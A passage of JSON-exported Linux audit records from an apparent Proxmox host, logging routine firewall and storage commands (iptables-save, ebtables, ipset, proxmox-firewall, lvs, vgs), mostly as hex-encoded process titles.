cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965915830,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965915.830:67647): proctitle=\"iptables-save\""} {"@timestamp":1781965806026,"@rawstring":"node=pve type=PATH msg=audit(1781965806.026:67179): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965915827,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965915.827:67646): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965806020,"@rawstring":"node=pve type=PATH msg=audit(1781965806.020:67178): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965915822,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965915.822:67645): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965806020,"@rawstring":"node=pve type=PATH msg=audit(1781965806.020:67178): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965915821,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965915.821:67644): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965806012,"@rawstring":"node=pve type=PATH msg=audit(1781965806.012:67177): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965915821,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965915.821:67643): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965806012,"@rawstring":"node=pve type=PATH msg=audit(1781965806.012:67177): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965915817,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965915.817:67642): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965806004,"@rawstring":"node=pve type=PATH msg=audit(1781965806.004:67176): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965915809,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965915.809:67641): proctitle=\"ip6tables-save\""} {"@timestamp":1781965806004,"@rawstring":"node=pve type=PATH msg=audit(1781965806.004:67176): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965915802,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965915.802:67640): proctitle=\"iptables-save\""} {"@timestamp":1781965806000,"@rawstring":"node=pve type=PATH msg=audit(1781965806.000:67175): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965915797,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965915.797:67639): proctitle=69707365740073617665"} {"@timestamp":1781965806000,"@rawstring":"node=pve type=PATH msg=audit(1781965806.000:67175): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965915789,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965915.789:67638): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965805997,"@rawstring":"node=pve type=PATH msg=audit(1781965805.997:67174): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965915779,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965915.779:67637): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965805997,"@rawstring":"node=pve type=PATH msg=audit(1781965805.997:67174): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965915080,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965915.080:67636): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965805996,"@rawstring":"node=pve type=PATH msg=audit(1781965805.996:67173): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965915048,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965915.048:67635): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965805996,"@rawstring":"node=pve type=PATH msg=audit(1781965805.996:67173): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965914747,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965914.747:67634): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965805996,"@rawstring":"node=pve type=PATH msg=audit(1781965805.996:67172): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965914747,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965914.747:67633): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965805990,"@rawstring":"node=pve type=PATH msg=audit(1781965805.990:67171): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965914747,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965914.747:67632): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965805990,"@rawstring":"node=pve type=PATH msg=audit(1781965805.990:67171): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965914740,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965914.740:67631): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965805990,"@rawstring":"node=pve type=PATH msg=audit(1781965805.990:67171): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965914740,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965914.740:67630): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965805983,"@rawstring":"node=pve type=PATH msg=audit(1781965805.983:67170): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965914740,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965914.740:67629): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965805983,"@rawstring":"node=pve type=PATH msg=audit(1781965805.983:67170): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965909729,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965909.729:67628): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965805976,"@rawstring":"node=pve type=PATH msg=audit(1781965805.976:67169): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965909729,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965909.729:67627): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965805976,"@rawstring":"node=pve type=PATH msg=audit(1781965805.976:67169): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965909729,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965909.729:67626): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965805969,"@rawstring":"node=pve type=PATH msg=audit(1781965805.969:67168): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965909719,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965909.719:67625): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965805969,"@rawstring":"node=pve type=PATH msg=audit(1781965805.969:67168): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965909719,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965909.719:67624): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965805958,"@rawstring":"node=pve type=PATH msg=audit(1781965805.958:67167): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965909719,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965909.719:67623): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965805958,"@rawstring":"node=pve type=PATH msg=audit(1781965805.958:67167): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965905768,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965905.768:67622): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965805949,"@rawstring":"node=pve type=PATH msg=audit(1781965805.949:67166): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965905766,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965905.766:67621): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965805949,"@rawstring":"node=pve type=PATH msg=audit(1781965805.949:67166): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965905766,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965905.766:67620): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965804451,"@rawstring":"node=pve type=PATH msg=audit(1781965804.451:67165): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965905766,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965905.766:67619): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965804451,"@rawstring":"node=pve type=PATH msg=audit(1781965804.451:67165): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965905761,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965905.761:67618): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965804423,"@rawstring":"node=pve type=PATH msg=audit(1781965804.423:67164): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965905753,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965905.753:67617): proctitle=\"ip6tables-save\""} {"@timestamp":1781965804423,"@rawstring":"node=pve type=PATH msg=audit(1781965804.423:67164): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965905746,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965905.746:67616): proctitle=\"iptables-save\""} {"@timestamp":1781965804377,"@rawstring":"node=pve type=PATH msg=audit(1781965804.377:67163): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965905738,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965905.738:67615): proctitle=\"ip6tables-save\""} {"@timestamp":1781965804377,"@rawstring":"node=pve type=PATH msg=audit(1781965804.377:67163): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965905731,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965905.731:67614): proctitle=\"iptables-save\""} {"@timestamp":1781965804377,"@rawstring":"node=pve type=PATH msg=audit(1781965804.377:67162): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965905728,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965905.728:67613): proctitle=\"ebtables-restore\""} {"@timestamp":1781965804376,"@rawstring":"node=pve type=PATH msg=audit(1781965804.376:67161): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965905725,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965905.725:67612): proctitle=\"ebtables-restore\""} {"@timestamp":1781965804366,"@rawstring":"node=pve type=PATH msg=audit(1781965804.366:67160): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965905717,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965905.717:67611): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965804366,"@rawstring":"node=pve type=PATH msg=audit(1781965804.366:67160): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965905710,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965905.710:67610): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965804366,"@rawstring":"node=pve type=PATH msg=audit(1781965804.366:67159): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965905704,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965905.704:67609): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965804366,"@rawstring":"node=pve type=PATH msg=audit(1781965804.366:67158): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965905697,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965905.697:67608): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965799360,"@rawstring":"node=pve type=PATH msg=audit(1781965799.360:67157): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965905691,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965905.691:67607): proctitle=697073657400726573746F7265"} {"@timestamp":1781965799360,"@rawstring":"node=pve type=PATH msg=audit(1781965799.360:67157): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965905683,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965905.683:67606): proctitle=\"ip6tables-save\""} {"@timestamp":1781965799360,"@rawstring":"node=pve type=PATH msg=audit(1781965799.360:67156): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965905676,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965905.676:67605): proctitle=\"iptables-save\""} {"@timestamp":1781965799360,"@rawstring":"node=pve type=PATH msg=audit(1781965799.360:67155): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965905671,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965905.671:67604): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965799352,"@rawstring":"node=pve type=PATH msg=audit(1781965799.352:67154): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965905668,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965905.668:67603): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965799352,"@rawstring":"node=pve type=PATH msg=audit(1781965799.352:67154): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965905668,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965905.668:67602): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965799352,"@rawstring":"node=pve type=PATH msg=audit(1781965799.352:67153): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965905668,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965905.668:67601): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965799352,"@rawstring":"node=pve type=PATH msg=audit(1781965799.352:67152): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965905664,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965905.664:67600): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965795938,"@rawstring":"node=pve type=PATH msg=audit(1781965795.938:67151): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965905656,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965905.656:67599): proctitle=\"ip6tables-save\""} {"@timestamp":1781965795938,"@rawstring":"node=pve type=PATH msg=audit(1781965795.938:67151): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965905648,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965905.648:67598): proctitle=\"iptables-save\""} {"@timestamp":1781965795934,"@rawstring":"node=pve type=PATH msg=audit(1781965795.934:67150): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965905641,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965905.641:67597): proctitle=69707365740073617665"} {"@timestamp":1781965795934,"@rawstring":"node=pve type=PATH msg=audit(1781965795.934:67150): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965905634,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965905.634:67596): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965795933,"@rawstring":"node=pve type=PATH msg=audit(1781965795.933:67149): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965905625,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965905.625:67595): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965795933,"@rawstring":"node=pve type=PATH msg=audit(1781965795.933:67149): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965904929,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965904.929:67594): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965795933,"@rawstring":"node=pve type=PATH msg=audit(1781965795.933:67148): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965904892,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965904.892:67593): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965795926,"@rawstring":"node=pve type=PATH msg=audit(1781965795.926:67147): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965904712,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965904.712:67592): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965795926,"@rawstring":"node=pve type=PATH msg=audit(1781965795.926:67147): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965904712,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965904.712:67591): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965795926,"@rawstring":"node=pve type=PATH msg=audit(1781965795.926:67147): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965904712,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965904.712:67590): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965795918,"@rawstring":"node=pve type=PATH msg=audit(1781965795.918:67146): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965904706,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965904.706:67589): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965795918,"@rawstring":"node=pve type=PATH msg=audit(1781965795.918:67146): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965904706,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965904.706:67588): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965795909,"@rawstring":"node=pve type=PATH msg=audit(1781965795.909:67145): 